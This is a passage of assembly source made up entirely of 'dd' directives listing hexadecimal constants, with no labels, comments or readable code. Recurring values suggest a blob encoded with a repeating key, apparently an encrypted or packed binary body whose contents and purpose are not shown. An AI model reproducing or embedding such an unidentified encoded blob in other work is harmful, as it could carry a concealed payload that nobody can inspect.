3D357D2h, 0D79F06E1h, 9F74AC03h dd 2DD3E724h, 3D201263h, 3215659Ch, 0C9A26988h, 32058F25h dd 7D206622h, 0CA2FD232h, 0AA631B74h, 7C504CE1h, 0C5384505h dd 1F4D792Ah, 7AB902CCh, 7610AE45h, 375DCA46h, 6A0A5DE6h dd 32156361h, 0F7CD4844h, 769C1844h, 3D757A35h, 32156803h dd 321D8E44h, 41FA6622h, 31719766h, 524C74E7h, 8101A7C4h dd 5374072Eh, 3214E31Eh, 0C7EC6688h, 32164AADh, 33966922h dd 0CA156611h, 321EEA87h, 54756644h, 66D4A5A3h, 0AC05DC77h dd 48410EE9h, 3E9C6644h dd 3BFC0606h, 7D156611h, 0B6D251C0h, 59664558h, 3213E72Dh dd 0B61A6611h, 32156688h, 12330E25h, 269C6622h, 32138F35h dd 37886688h, 3355DB1Bh, 3EFCAF13h, 0D9156611h, 92341C36h dd 0FA55C89Fh, 0B93A11D3h, 260CF384h, 3A98698Eh, 3D156644h dd 321564A4h, 9740611h, 3C91698Ah, 52156645h, 32156BCAh dd 0E2A78311h, 0FE90373Ch, 31D92E0Ah, 88733CF5h, 0DB4FFCCBh dd 32156698h, 506C6DD5h, 0AA623299h, 0D1D301FDh, 0ECB27AA0h dd 8D423025h, 32156626h, 334A9898h, 0B975387Ah, 32138F87h dd 0B9C06622h, 0DC7D52F3h, 36EA37E9h, 1619ED60h, 0DB11A2A1h dd 32156601h, 4E62FE80h, 62B712C7h, 958622F7h, 67A1E28Eh dd 1270EBB3h, 0B71A6050h, 0CDEA99A1h, 321DE31Eh, 0B01A6688h dd 32156646h, 5A470742h, 72F243FBh, 96AC37D2h, 0B34F8B4Eh dd 5B5FCEC3h, 93D4E716h, 0F341769Ah, 0DB9464A5h, 0C6DE31CCh dd 0B34CAC20h, 0CC2D9A62h, 68C5EF61h, 32156ECBh, 0E8702511h dd 1E38DD69h, 23FC06B4h, 65156622h, 0D0D3D28Eh, 50E06C29h dd 0D69DA89Bh, 8E826238h, 0BF7448A4h, 26589905h, 37FC0642h dd 13156622h, 9B5F23FFh, 0EFB6B009h, 0CD747ED4h, 0DBE006C3h dd 32156605h, 801058B5h, 0AAAE9074h, 168EA892h, 0DE370794h dd 27E6D959h, 1F98EF25h, 0CA13720Ch, 683152EEh, 3211A209h dd 0B3756644h, 0C6F1B5FCh, 3E9E0718h, 0D19C35ACh, 3211A5C5h dd 0F1966622h, 1609E115h, 0C39406D4h, 1E08137h, 6852DF44h dd 0D09C3470h, 3211A409h, 0D8946644h, 32156626h, 6E317296h dd 0DB315201h, 32156648h, 70585C31h, 0DDDB1A45h, 22FFEE2Ch dd 3064FBCFh, 20FC6036h, 0C9156611h, 73DE5D9Eh, 5C485E30h dd 8C369FD9h, 1B214FF3h, 0B326992Eh, 27B94270h, 3E9E39E7h dd 36D1E735h, 0B3156688h, 0F700CAB5h, 249B697Dh, 0DB156611h dd 32156699h, 0A61DD188h, 14C09CE7h, 0B5E41EB6h, 0F6F01481h dd 1F90ED99h, 3D13720Ch, 32156C93h, 0B61A0688h, 32156644h dd 0E374B8A9h, 359169F1h, 52156688h, 52E7D94Bh, 0B7160743h dd 340178B8h, 32156D61h, 6F8F44h, 0E59E3F3h, 10CC92AEh dd 887590B9h, 29C64670h, 0B374A5A8h, 321562FDh, 1611EF88h dd 524B3E12h, 0AB08D944h, 0DB743846h, 3215669Ah, 72E18E75h dd 0AB2E4AFCh, 5224F397h, 0B22C0628h, 9F73FBD0h, 32156FCBh dd 34129011h, 0E85F3ABDh, 0D2D4EF34h, 32108F20h, 30A96611h dd 31BB764Eh, 26214BC1h, 3D759A24h, 32156394h, 3EFAD888h dd 37427A0h, 3D357D2h, 3D4306E1h, 32156606h, 851A3844h dd 52B807FAh, 321560F8h, 61E20888h, 6558D057h, 8B440779h dd 91B64D5h, 334CAEA1h, 30D1638Ch, 0CDEC5D2Ch, 0B14B4225h dd 3CFC624Ch, 53156644h, 0DD61888Ch, 0D24170BBh, 75E7BCF4h dd 93A8E56Fh, 3313722Fh, 3310E21Eh, 0DA756688h, 32156654h dd 0C14B091Dh, 1C12689Bh, 0FBD5750Dh, 65D40B7Bh, 3215E22Dh dd 0DB4D6611h, 3215669Ah, 68FBBA03h, 75AC884Fh, 5B01D029h dd 4FF617F6h, 974F047h, 26194BAFh, 0F6916917h, 0CB156688h dd 1B70EB7Fh, 0B61A6036h, 321566A6h, 32157761h, 0EBE1D944h dd 0ADEED200h, 177B7999h, 0F4E28D76h, 9E014B7h, 263E43AFh dd 0A6916917h, 52156688h, 321561ADh, 14134022h, 66375F43h dd 3215EF87h, 0BF746644h, 2E1150BFh, 3FFD0617h, 0B0156688h dd 2E3F643Ch, 11BDD80Bh, 8AD7750Eh, 0C0A03974h, 0CAC69925h dd 32118AA3h, 369C6611h, 0B61A39ACh, 32156651h, 321576CBh dd 41526C11h, 0F600E4E7h, 0CD3852C9h, 8CFF50F5h, 8F90EF7Ah dd 52137288h, 321569ADh, 7160AA22h, 0A37869B6h, 4D806A0Dh dd 0FBA9FBBAh, 321561CBh, 6A6C9711h, 2DC0EB7Fh, 12198F25h dd 3AFC6622h, 0BF156611h, 0F0CD03E1h, 0BFAD34BBh, 2E1150BFh dd 0E1EA9317h, 32157761h, 3BAE6B44h, 6D4AB10Ch, 0F06BAE46h dd 6F6FA43Dh, 8F96606Ch, 34016B83h, 54916911h, 0CB156688h dd 1838E37Fh, 0B61A6036h, 3215662Ch, 3212EC87h, 0B21A6644h dd 32156623h, 321B8FE9h, 6B876688h, 0C1095272h, 0D86543C2h dd 972CC9B9h, 3070E3B3h, 0B71A6050h, 3215660Fh, 32156AF8h dd 0EA2FF288h, 5F378F5h, 0EB310987h, 0CD108F23h, 20FC9977h dd 0FB156644h, 0A3571E60h, 3821923Dh, 3A5F7C62h, 75ABC8F5h dd 0BB905DC5h, 3D13720Ah, 32150B0Dh, 0BE1A0644h, 32156620h dd 0CC9F9E9Ah, 0FFA8E5E9h, 32137245h, 323AE22Dh, 0B31A6611h dd 3215669Fh, 0DB4E3424h, 3215662Ch, 0E87BDC2Dh, 45A0DF94h dd 0FD069C57h, 0B174ADEDh, 26158FACh, 0B61A668Eh, 3215666Eh dd 0CBC0EC42h, 3590EB70h, 52137DE5h, 32156BADh, 622D7722h dd 9329A81Ah, 0B78F8894h, 0B3734483h, 53FE72FAh, 0CDEB10F8h dd 0B72E9377h, 34017DCDh, 0CC7CE22Dh, 0BF1A99EEh, 32156689h dd 3AA8E5BDh, 33137D84h, 3254E31Eh, 9EC6688h, 29B35AC1h dd 6906924h, 52156611h, 32156A61h, 0B8227344h, 4A596778h dd 0DE9ACFCDh, 0BF749384h, 6B1E82C1h, 7BFC9A22h, 0DBEA99EFh dd 32156687h, 699ECA51h, 0FB4B2318h, 99E1876Ch, 34A7454h dd 0B97306BBh, 32188FE0h, 6F246611h, 66BB81E5h, 99FB89FCh dd 53BB1E3Ch, 3D9CDB92h, 3D15609Ch, 3205E9C0h, 3B906922h dd 52156611h, 0A9FEA737h, 5374062Dh, 943DE319h, 0B71A600Ah dd 32156693h, 5F90EDB1h, 0CB137228h, 0CDEADE41h, 0F53C9977h dd 0EC95061Ch, 37AE0072h, 9E90758h, 29B3560Dh, 19906942h dd 3D156622h, 3215679Dh, 0B79E9E88h, 34017D01h, 53E7ED42h dd 579CDD42h, 0B35E5683h, 3970E1AFh, 69CA6712h, 321563F8h dd 8C127888h, 0B72EA8BAh, 340EC00Eh, 3230E31Eh, 0B9E96688h dd 260F17C1h, 3A976924h, 3D156611h, 32156406h, 0CA740644h dd 3214DD71h, 0ED146611h, 887306D3h, 9742A7Ch, 29B352A7h dd 7F906917h, 3D156688h, 321567C4h, 0B79E9E22h, 34016F84h dd 3202E587h, 20FC6644h, 1156622h, 890A9D25h, 12F965FBh dd 7F88CF2Eh, 81863F9h, 33AC3796h, 33156688h, 0DBEC3F8Bh dd 32156636h, 0EA56BEDDh, 691D4248h, 66BAEBC5h, 0C76A1429h dd 0A48D17D4h, 942DE3B3h, 0B71A605Fh, 32156616h, 3214E11Eh dd 0B9E96688h, 2638ABC1h, 339C6924h, 0CE156611h, 7041DED8h dd 0E2E20AD0h, 2B7B340Fh, 7D4D536Dh, 0F51471DAh, 8C73061Ch dd 90AEF7C8h, 537F7C21h, 9429E3B3h, 0B71A605Fh, 32156630h dd 0AB90EDE8h, 0CB137283h, 3214DB11h, 0DD146622h, 0B72E9E4Ch dd 340EC0C8h, 325CE34Bh, 0B11A6622h, 3215661Dh, 32156161h dd 0DC92E644h, 801CFF1h, 2FC4E39Ah, 3CFC609Ch, 0B0156644h dd 87D682EDh, 0C4681AA8h, 2053D326h, 33AC3775h, 33156622h dd 3DFC3FDEh, 65156688h, 53F6D3C9h, 1701C4B2h, 2A7ACF6Dh dd 9E0EC8Ah, 29B322C1h, 5A906924h, 52156611h, 0B79E077Dh dd 34014981h, 32078F42h, 0EFB36611h, 0C9215505h, 3166DD5Bh dd 9B7F46CEh, 37CE2B8Ch, 3215E987h, 63746644h, 9567809Bh dd 3AF4A725h, 5B04AF09h, 0DB9406B5h, 0D5E68930h, 3D4CA938h dd 32156C05h, 0B71A0644h, 32156622h, 5274809Bh, 3211E887h dd 8B736644h, 0B21AA8A3h, 32156617h, 3215E787h, 9746644h dd 29B32EA7h, 2C906917h, 0CB156688h, 1DB4E3CFh, 63ED6036h dd 321567A8h, 6BDA6788h, 3212E24Bh, 0B21A6622h, 32156610h dd 7E905D70h, 3D137DE2h dd 321527A7h, 32018F11h, 26276688h, 309202F1h, 10DD9D4Dh dd 0D83B349Ch, 324EFFCEh, 0B79E7D53h, 34016507h, 3213E91Eh dd 81756688h, 537406C9h, 3214DD71h, 0ED146611h, 321D8FD3h dd 91EF6644h, 32B21805h, 0B72E64F2h, 340EC0DCh, 3254E34Bh dd 0B01A6622h, 32156618h, 0B11A9EE8h, 32156644h, 2390ED43h dd 0DB137208h, 3215668Eh, 0F4B6EDB0h, 8F403735h, 32156610h dd 3D488989h, 321561CDh, 33916922h, 0CE156611h, 0C09E00E8h dd 3215E54Bh, 9746622h, 29B33694h, 6990698Eh, 0CB156644h dd 304CDBA1h, 3D156005h, 32152B0Dh, 32138F44h, 377D6622h dd 100177ADh, 2070E303h, 3FFC6050h, 72156622h, 53278C83h dd 537F4ED9h, 0F4EF5ADDh, 3214DD71h, 0ED146611h, 0E69506D3h dd 32018E6Eh, 0CC4E6622h, 9A615750h, 0AC571901h, 0CDBA5843h dd 0C6C7331Bh, 6D425353h, 8F9607D2h, 34016485h, 59916922h dd 0C7156611h, 32156F61h, 0BB9CEC44h, 7FC7222Ch, 0B72E85FBh dd 340EC054h, 3245E34Bh, 0B11A6622h, 32156606h, 32157461h dd 0D181D844h, 0DC867B94h, 0EA6463D6h, 0EA0C8126h, 0B978F902h dd 26139FA7h, 0B11A0617h, 3215668Dh, 7AF4E722h, 8F400767h dd 32156610h, 0DB488989h, 32156656h, 71F7AE19h, 1DA2FFFBh dd 30F8A989h, 2DF6AD89h, 8F96EEF1h, 34017000h, 27916988h dd 0CE156646h, 6C4DBA1h, 3D156005h, 3217610Ch, 32058F44h dd 0FACD6622h, 6DC39768h, 0EF173BCCh, 0D2440FF5h, 0B72ECC71h dd 340EC0D1h, 3254E387h, 0B9E06644h, 261867A7h, 3E926917h dd 3D156688h, 321560CFh, 329B6922h, 62156611h, 32156730h dd 6AD26744h, 2A9169DBh, 0DB156611h, 3215669Bh, 2CBFC17Ch dd 5D7BEF8Bh, 7C1D2786h, 532595E4h, 9230323h, 29B3B6A7h dd 0C906917h, 52156688h, 32996924h, 54156622h, 53A7F1A8h dd 53CCEDEEh, 12A0E3CFh, 39FC6036h, 1B156611h, 9E77B678h dd 734D35EAh, 8B445069h, 0CDEA99EEh, 0DB4CA9A1h, 3215664Ch dd 0E2B9CA0Ah, 1B3AC9BFh, 0F6905D70h, 3D137DE2h, 32152DA7h dd 32068F11h, 0C0106688h, 0E3DBA01Ch, 6C04C0ABh, 0FAA544ECh dd 5FD88249h, 6F90ED13h, 0DB137207h, 32156619h, 64B14B0Bh dd 81C73C41h, 635CDC70h, 0D0942135h, 47E731D7h, 0B3178485h dd 0DE2215D0h, 0C0942C4Dh, 8587EB21h, 0CE4FB16Dh, 94C1E319h dd 0B71A600Ah, 321566B8h, 0C390EDB1h, 52137238h, 321568F9h dd 0E30ED988h, 7FE39C88h, 39DD9C64h, 3DBEF277h, 0B34EB637h dd 50A55494h, 88470757h, 0CDEA99EEh, 0CA4FB1A1h, 94CDE37Fh dd 0B71A6039h, 32156657h, 32108EE8h, 3C896644h, 0B98EACA3h dd 88753EC1h, 11864FD7h, 53743917h, 3BACE3A9h, 0BA1A6005h dd 3215668Dh, 0C8A39E24h, 33A83343h, 33156611h, 0DB753B67h dd 3215664Eh, 0EB0E2180h, 0D8D21B2Eh, 0D4957A9Dh, 0B72E075Ah dd 340EC0EAh, 3228E31Eh, 3FFC6688h, 91156644h, 0E07A255Fh dd 7B0728A7h, 7690FF00h, 36ACE3CFh, 0B3756036h, 0CD1A1FE1h dd 3191699Dh, 54156644h, 6374A9A9h, 0CDEA99A8h, 6BDA4F77h dd 31906924h, 3D156622h, 97490AEh, 29B3AA0Dh, 13906942h dd 0CA156622h, 3CC8E39Ah, 0BD1A609Ch, 3215664Ch, 54DBED42h dd 5358BCAFh, 3214DFD9h, 0FD146644h, 53EC067Bh, 6C4DB92h dd 3D15609Ch, 321FF9C0h, 0B3730622h, 526097DFh, 32157760h dd 38C7FD44h, 4CEB887Ah, 3FA25129h, 0BED739ECh, 3D4ABA5Eh dd 321566ABh, 9740711h, 29B33E0Dh, 0C906942h, 3D156622h dd 32156793h, 0B79E9E88h, 340177DDh, 0CDA833DEh, 1BEA99EEh dd 0BC1A3B67h, 3215664Bh, 32156CCBh, 0EE11h, 893E097Ah dd 3D81E23Bh, 32156AA8h, 34946911h, 3D156688h, 321566C6h dd 0DE905D22h, 3D137DB7h, 3215520Dh, 0B79E9344h, 3401736Bh dd 3205E71Eh, 39FC6688h, 9D156644h, 4E05C215h, 9FB04B7Bh dd 0CD429C50h, 0E9E4240h, 36D1E706h, 52156611h, 6C5FD9EEh dd 278ED922h, 6E905D43h, 3D137DB7h, 32152B0Dh, 3C976944h dd 52156622h, 321560F9h, 56CB6E88h, 6D212F72h, 3B90ED43h dd 0DB137221h, 3215668Fh, 0E6B7C42h, 64A345D3h, 321567AFh dd 6CE26788h, 23FC3424h, 20156622h, 6241205Eh, 56164D9Fh dd 2655EC81h, 393E3921h, 0F2A2694Eh, 0B72E9AE9h, 340EC024h dd 3241E32Dh, 22FC6611h, 0AE156688h, 957B573Fh, 0CB1B312h dd 69FD183Fh, 0DB8EE729h, 3215664Dh, 8DB1D297h, 0E83613BDh dd 9790ED37h, 3D13724Dh, 321561A6h, 0F39E0611h, 53CAEDEEh dd 88AB30B8h, 7447A67Ch, 93519090h, 0C53CCBB7h, 3592691Ah dd 3D156622h, 32156799h, 0B72E9F88h, 340EC020h, 3245E32Dh dd 3D756611h, 2A5BD3Fh, 0F390ED25h, 0DB137212h, 32156616h dd 4CA7C29h, 0DBB08426h, 32156631h, 27DA5FB8h, 0B3CFE367h dd 5F9C905Ah, 0AE2FBB9h, 61C348D7h, 0CDEA9933h, 69CA4FBBh dd 321577CBh, 3727E011h, 5369FBB6h, 0BBC8ACBFh, 0F2E3D138h dd 0B72E0C83h, 340EC0E0h, 3283E34Bh, 3BFC6622h, 0E1156611h dd 5C629C27h, 24E3F349h, 304CDBA1h, 3D156005h, 32151D0Dh dd 2A926944h, 3D156622h, 32157490h, 32188F88h, 1F76644h dd 491C4881h, 318BC03Dh, 0B92E25E1h, 260A43C1h, 0B3730624h dd 52BC53C2h, 537407E8h, 321572ADh, 0FD675D22h, 0F6420D45h dd 2BF1BBCFh, 3A22156Bh, 34A76D36h, 4BAB301Bh, 0F31B54F8h dd 0DCC463A2h, 0C494B8D5h, 5CED2849h, 14E3E7C6h, 33E746F2h dd 0B21A38D5h, 32156601h, 32156D61h, 35A4B544h, 4172A9B9h dd 30EEBF1Eh, 9479E3B3h, 0B71A605Fh, 3215664Ch, 32156AF8h dd 0E5C61A88h, 0E0DF08EEh, 829214A1h, 32018FB6h, 157C6688h dd 0FE12510h, 0BEDC5927h, 29B8403Ah, 52DCCD67h, 0B79E10CCh dd 34016B67h, 321561F8h, 1EB71E88h, 0A6DB55DBh, 3200EE2Dh dd 22FC6611h, 6F156688h, 0C05DC2EBh, 871F07FFh, 22A106Bh dd 3DD4155h, 3EC578Bh, 0FD9227EDh, 32156FF8h, 0A6437388h dd 28B5FCDFh, 0B72E072Ah, 340EC061h, 3250E387h, 0BA1A6644h dd 3215662Fh, 32156EF8h, 47C02588h, 88193296h, 6BA8E5FCh dd 32137213h, 3230E387h, 3BFC6644h, 2A156622h, 0AA660410h dd 6AFB2C70h, 1D8E3CFh, 0B31A6036h, 32156610h, 0CDAC3771h dd 1BEA99BBh, 9E93FEDh, 29B31294h, 6390698Eh, 3D156644h dd 321579A2h, 20FC0611h, 95156688h, 14736EDh, 2A84F031h dd 13A3A995h, 0DB87BF4Ch, 329F698Ah, 53156622h, 1D4E39Ah dd 22FC609Ch, 2D156644h, 95152D09h, 0E07E37B3h, 0D4EA10B2h dd 63FA8042h, 0CDEA999Bh, 6BDA4FEEh, 0CBAA69E8h, 53CFD14Bh dd 946DE319h, 0B71A600Ah, 321566A2h, 0C9A26924h, 0B974A8A9h dd 2609B394h, 321D8F8Eh, 8E806644h, 11800EA3h, 88471B2Bh dd 32156689h, 3D4FB145h, 321567A7h, 0B72E9A11h, 340EC008h dd 3252E34Bh, 0B2756622h, 3D7461CAh, 32156E0Fh, 30996944h dd 52156622h, 6BA8E570h, 3213728Ah, 3232E34Bh, 0B9ED6622h dd 26383F94h, 321E8F8Eh, 0D9E76644h, 81AF3D29h, 38B64958h dd 0CDAE3587h, 1BEA99BBh, 0BF1A3DFDh, 32156610h, 4E905D74h dd 3D137DE2h, 321538A7h, 26906911h, 52156688h, 32156AACh dd 731ED22h, 1EB71E33h, 0A6DB5517h, 0B1743DB7h, 26173F9Fh dd 0B71A6617h, 321566BFh, 321576ADh, 1AE93322h, 0E816477Eh dd 0B0F2F717h, 0C22D5799h dd 0CB90ED6Bh, 5213721Fh, 54EEEDEEh, 65749FCFh, 0B93162DDh dd 0F696422Dh, 8D1A068Ch, 4AD9D992h, 9744CF3h, 29B3E294h dd 7A90698Eh, 52156644h, 321575CAh, 1E88C811h, 9E79A708h dd 188C21D4h, 0D21CC363h, 0A094608Ah, 32048FD2h, 147C6644h dd 0EDC900A1h, 2D73A289h, 0FCB88DF4h, 534CDBEAh, 1F38E3A9h dd 0BB1A6005h, 32156689h, 33AD36BDh, 33156622h, 9EC3ED6h dd 29B3EE0Dh, 72906942h, 0CE156622h, 3EB8E39Ah, 0B11A609Ch dd 3215665Bh, 329E6942h, 0DB156611h, 3215669Ah, 7A6AA907h dd 8AC6A9E5h, 0CC2F6CF5h, 37487F9Ah, 6574A35Bh, 71317AA5h dd 6D317A96h, 32156061h, 3BDF1944h, 9E5F5DDh, 29B3EA94h dd 0E90698Eh, 52156644h, 3216E42Dh, 0B9736611h, 0EC940043h dd 0B9742CD9h, 26246BA7h, 339D6917h, 0CA156688h, 27DBD812h dd 0B3537C75h, 751C66F7h, 56FBE7D7h, 74020336h, 0AFFBE764h dd 3317879Fh, 9EC387Fh, 29B3F6C1h, 1D906924h, 3D156611h dd 3215670Ch, 0B9E99344h, 26119FA7h, 22FC9E17h, 7F156688h dd 0CB7191ADh, 0E661FBE4h, 69615C99h, 6386B9D5h, 0CDEA99FDh dd 6BDA4FDDh, 0B72E9FE4h, 340EC01Ch, 3257E34Bh, 88756622h dd 19248B9Ch, 9DB52331h, 0B79E0762h, 340156CBh, 3202E71Eh dd 0DB756688h, 32156654h, 0E0B216BAh, 0A1A2A2Fh, 169E126h dd 0E7AC1AD1h, 33AD3643h, 33156611h, 37FC3E4Fh, 27156644h dd 66FF4288h, 948DE32Ah, 0B71A6093h, 32156623h, 321576CBh dd 9CCB9411h, 55B3385h, 9E2327B9h, 16D2F00h, 26FD06A0h dd 0BB156688h, 233F2F70h, 0E58EC938h, 76F30B93h, 8AE743E2h dd 3D7A63A9h, 0B94DAE95h, 0B79E07DAh, 34017D31h, 0F09E0024h dd 53D5D92Dh, 3214DD42h, 0ED146688h, 851A061Fh, 321F8EF4h dd 26C96611h, 9A3AEEC7h, 0B5468D3Eh, 0B7DFE744h, 9743E9Ch dd 29B3FA0Dh, 70906942h, 52156622h, 319469EDh, 0B2156688h dd 0CB743986h, 39A8E3A9h, 26FC6005h, 7C156688h, 65DFF3CDh dd 337E22Fh, 96294586h, 0B031A40Fh, 62AC57A8h, 0CDEA999Ah dd 6AD24FEEh, 32156E61h, 1D673D44h, 0E93210F0h, 92905D26h dd 3D137D2Eh, 321522C1h, 32068F22h, 0A84C6611h, 0E3492C1Eh dd 0A5AF914Bh, 9296AEC0h, 0F9A083BCh, 1B90ED63h, 0CA137243h dd 3214DC70h, 0E5146611h, 32058FD2h, 0E3136644h, 7E35D8D3h dd 8CC19458h, 9E0C8525h, 0BD1AFE4Bh, 32156623h, 27905DE4h dd 3D1372ADh, 32155EC1h, 3F916922h, 0DB156611h, 32156680h dd 7B02E8B8h, 34213679h, 1D80E39Ah, 67E9609Ch, 174AAAF9h dd 0F9F8E770h, 3347434Eh, 38FC3B67h, 19156644h, 0FB18BC9Bh dd 0A3571E53h, 96905DA4h, 3D137DE2h, 321530A7h, 3F976911h dd 52156688h, 3215ED4Bh, 0B3736622h, 535C32E1h, 23FCE303h dd 0B01A6050h, 32156635h, 321574F8h, 74951D88h, 29708C33h dd 7DAB8005h, 6EA2E603h, 60127144h, 0CDEA99FEh, 68C24FDDh dd 321574F8h, 0D5924988h, 3F82ED2Ch, 0F9176D66h, 35EE9ADFh dd 95C3B7Dh, 29B386C1h, 40906924h, 0DB156611h, 3215668Eh dd 24B6BDC7h, 8F96B7F1h, 340EC0F9h, 1D906988h, 0DB156644h dd 3215662Ah, 0DCE1F860h, 3B875F6Ah, 3FB4DBC7h, 3D156036h dd 32152695h, 3D9C6988h, 0DB156644h, 32156628h, 83B1E0E7h dd 5893223Ah, 0B79E765Bh, 34016F5Fh, 321568F8h, 4B282688h dd 8CDC57D8h, 10FA3A6Ah, 64EA0AEBh, 32156736h, 6CE26744h dd 3216E32Dh, 0CE756611h, 0D6905DE9h, 3D137DE2h, 3215E0A7h dd 32068F11h, 20106688h, 35B0F94Ah, 0C56775EDh, 18E8F056h dd 0D3B37F85h, 0DAA8E50Bh, 32137D84h, 3255E31Eh, 0BC1A6688h dd 32156643h, 3214E32Dh, 0B1EC6611h, 2618C735h, 0B61A6642h dd 32156665h, 3212EF1Eh, 0B51A6688h, 32156645h, 3CFC06D7h dd 0D1156611h, 0F218BD9Dh, 0B5A4D47h, 0EC6E9527h, 0ABAC00E4h dd 0B79E0768h, 34014829h, 3214E62Dh, 63EC6611h, 0CDEA9931h dd 6BDA4FBBh, 9EAB0042h, 8D1A37D0h, 9743C41h, 29B3CEC1h dd 11906924h, 0DB156611h, 32156683h, 2D7A4009h, 0D53264ADh dd 0B97B88D9h, 26168B0Dh, 65E09A42h, 0B93162DDh, 0F696422Dh dd 0B72E9E8Ch, 340EC0E8h, 327CE32Dh, 3CFC6611h, 0B0156688h dd 6D61784Bh, 0F69630h, 80BDF191h, 8B90EDDDh, 0DB13724Ah dd 32156633h, 0E88EB234h, 8844E5CFh, 54A50665h, 0D2420111h dd 3A936908h, 3D156688h, 321564C5h, 60740622h, 2B2EFBABh dd 0D8FFE78Ch, 0B32A6D13h, 0D44F64C8h, 0D0942C52h, 479E496Dh dd 0D8948495h, 3013751Dh, 524FB110h, 1B59DE71h, 9742690h dd 29B3D6A7h, 57906917h, 3D156688h, 32157FC4h, 21926922h dd 0DB156611h, 32156686h, 6CD4A416h, 0C5D3658Fh, 94A78DAAh dd 0B79EEABCh, 34017FC5h, 3214EE2Dh, 63E96611h, 0B53C3131h dd 31FCA71Fh, 18FCE763h, 331E16F4h, 0B41A3F47h, 32156649h dd 32156ECBh, 7432DD11h, 78FED574h, 321B8F5Bh, 0F1C06622h dd 49617CA5h, 642ACA21h, 0DE1D59FAh, 94A1E319h, 0B71A600Ah dd 32156694h, 0AF90EDB1h, 5213723Dh, 0B3C5D11Eh, 0D309E140h dd 88470746h, 0CDEA99DDh, 0CB4FB138h, 94ADE3B3h, 0B71A605Fh dd 32156619h, 6F90EDE9h, 5213729Bh, 534A3524h, 321563CBh dd 39DB4611h, 6374AAB4h, 875E8AFDh, 0DFFCE75Ah, 1B6DD35Ah dd 22FC3F47h, 6D156644h, 0E3FDE201h, 1EDB1D92h, 0A0FEBD03h dd 9180B97h, 29B3DAA7h, 67906917h, 0DB156688h, 32156643h dd 9B542040h, 0B9E5FD2Bh, 2604FF0Dh, 32198F42h, 12DB6622h dd 36C7A3EDh, 85748687h, 884759C3h, 32156623h, 3D4FB110h dd 32156D06h, 8D730644h, 78AA7B21h, 535E03C3h, 32157561h dd 7875DD44h, 0C4BDDDC4h, 0FF3CEB32h, 0FF280AE8h, 0D2CD05E8h dd 0B61A9929h, 32156602h, 3214E087h, 0DBED6644h, 0CDEA8B4Eh dd 3214E41Eh, 9EC6688h, 260413C1h, 26906924h, 0CE156611h dd 162CE305h, 0DBED605Fh, 0CDEA8B6Eh, 3214EE1Eh, 9EC6688h dd 260B93C1h, 98906924h, 3D156611h, 32156A0Eh, 349A6944h dd 3D156622h, 32156694h, 3A9E6988h, 52156644h, 8DEDEh dd 0B1745CB6h, 29B36E35h, 0B71A6742h, 3215665Fh, 3232EA1Eh dd 0DB756688h, 3215664Bh, 6D24100h, 595C616Eh, 780E24E2h dd 0DA10ADEBh, 32156629h, 800C57DDh, 58399974h, 6B07E239h dd 0B7989E43h, 324C6D76h, 32156361h, 92DEAA44h, 0FBFC5607h dd 3DEA99FDh, 32157300h, 32058F44h, 75156622h, 5CCB5418h dd 5B873F7Eh, 0FE34C78h, 5475BCBDh, 0DB9041AEh, 3215669Ch dd 0BD305F6Bh, 0B96A6E0Ah, 631CF2DDh, 2A790B88h, 0D51053DDh dd 2A905D43h, 3D137DB7h, 3215360Ch, 32108F44h, 2A056622h dd 96D75ACh, 29B37A0Dh, 72906942h, 3D156622h, 32157B99h dd 25956988h, 0DB156644h, 32156630h, 7E19E09Fh, 0B16089Dh dd 0F045DFD5h, 87B59D65h, 20FC0E09h, 22156688h, 733A53Bh dd 0D366EDEh, 0ACA93AD6h, 0F4A28CD1h, 0DE3B8FF7h, 8CE999DDh dd 4D8761BCh, 49B78809h, 0FC940EC8h, 8DF5D7Ah, 651388D0h dd 0E706C837h, 6DEB6F05h, 0DEA88A3h, 0B61A27EEh, 3215668Fh dd 3214ED4Bh, 0B1EC6622h, 0B71A67EFh, 321567A2h, 321FE54Bh dd 37FC6622h, 3C156611h, 0BFD525h, 9419E37Fh, 0B71A6039h dd 32156674h, 3202E587h, 20FC6644h, 31156622h, 5383A77h dd 19733E9Ah, 1C2144h dd 6BE308FCh, 0F690EB83h, 0C7153E0Fh, 0CDFEC9ADh, 32AD06DDh dd 0DB5EB91Eh, 3215669Ah, 3A47C95Fh, 8EEE258Bh, 3C9D4E1Eh dd 16763E9Dh, 52749A09h, 584D99Dh, 321B8E3Fh, 0F1DF6688h dd 397B8BC7h, 0C66A0DBEh, 69C7908h, 6CF09308h, 22905D25h dd 3D137D84h, 32152F94h, 0ED9E0688h, 890EB25h, 52153EAAh dd 321575F8h, 0B9FCCF88h, 0F1509742h, 46BA4B06h, 0F85B982Fh dd 0B9E167BAh, 32156EADh, 0CAD0C422h, 544E61E0h, 3FC072Ch dd 52EA99AFh, 3217EA2Dh, 6C436611h, 0BF1A9AE8h, 32156644h dd 0B72E0743h, 340EC005h, 325DE387h, 37FC6644h, 70156622h dd 9803BE58h, 0BA6AE305h, 0CB75661Ch, 321569CBh, 31139B11h dd 34F60259h, 9637CF5Dh, 0A2A695FFh, 0D8F38F70h, 8B759977h dd 17E40178h, 53E2ED44h, 0A1AD0071h, 8D73061Ah, 0BD1A5919h dd 32156622h, 60450770h, 82606132h, 1641675Fh, 1F4D3C26h dd 29A51316h, 32156B61h, 5C173244h, 9765B10h, 0ADEC19D7h dd 5AE0C06Eh, 321529DDh, 5A316AABh, 0A071584h, 0A5E4E7D1h dd 0BB2D7437h, 0DBEC3FECh, 3215661Bh, 8B7E30DAh, 7E0A10DEh dd 0C41E601Ch, 322BE31Eh, 23FC6688h, 1156644h, 13338117h dd 0BE3AAA85h, 0ABC3959h, 3755C77Ch, 3200E52Dh, 22FC6611h dd 65156688h, 9F037300h, 6C947CA9h, 1408FDFCh, 0DB58B077h dd 0CDEA8C5Bh, 53E90642h, 0CA74A89Ah, 1639E7D8h, 675A5488h dd 7CAD367Ch, 722E9503h, 0F31D8E49h, 3A2064ACh, 334027ECh dd 0BBE03ED7h, 263B3F3Dh, 32138F42h, 0BABF6622h, 9C99D031h dd 177CD301h, 3D756050h, 58A6BD95h, 23FC0670h, 0E3156688h dd 0F0A7E90Bh, 0FBFFB5C3h, 0BA229590h, 23416BAFh, 321575ADh dd 7A1F0422h, 616213F9h, 0BAE6A21Bh, 9849F357h, 0FE12EAC7h dd 0DB2BE670h, 32FCE387h, 0B9756644h, 29F6E6D1h, 337D3570h dd 69156688h, 99E9545h, 0B3730679h, 52167ED0h, 8BC6EDEEh dd 4EE9EA63h, 0DD940743h, 50994B9Fh, 735EA109h, 0C5147E08h dd 735E89A3h, 0F5947E5Dh, 50994B06h, 269069BDh, 52156622h dd 32156DF8h, 8AB34888h, 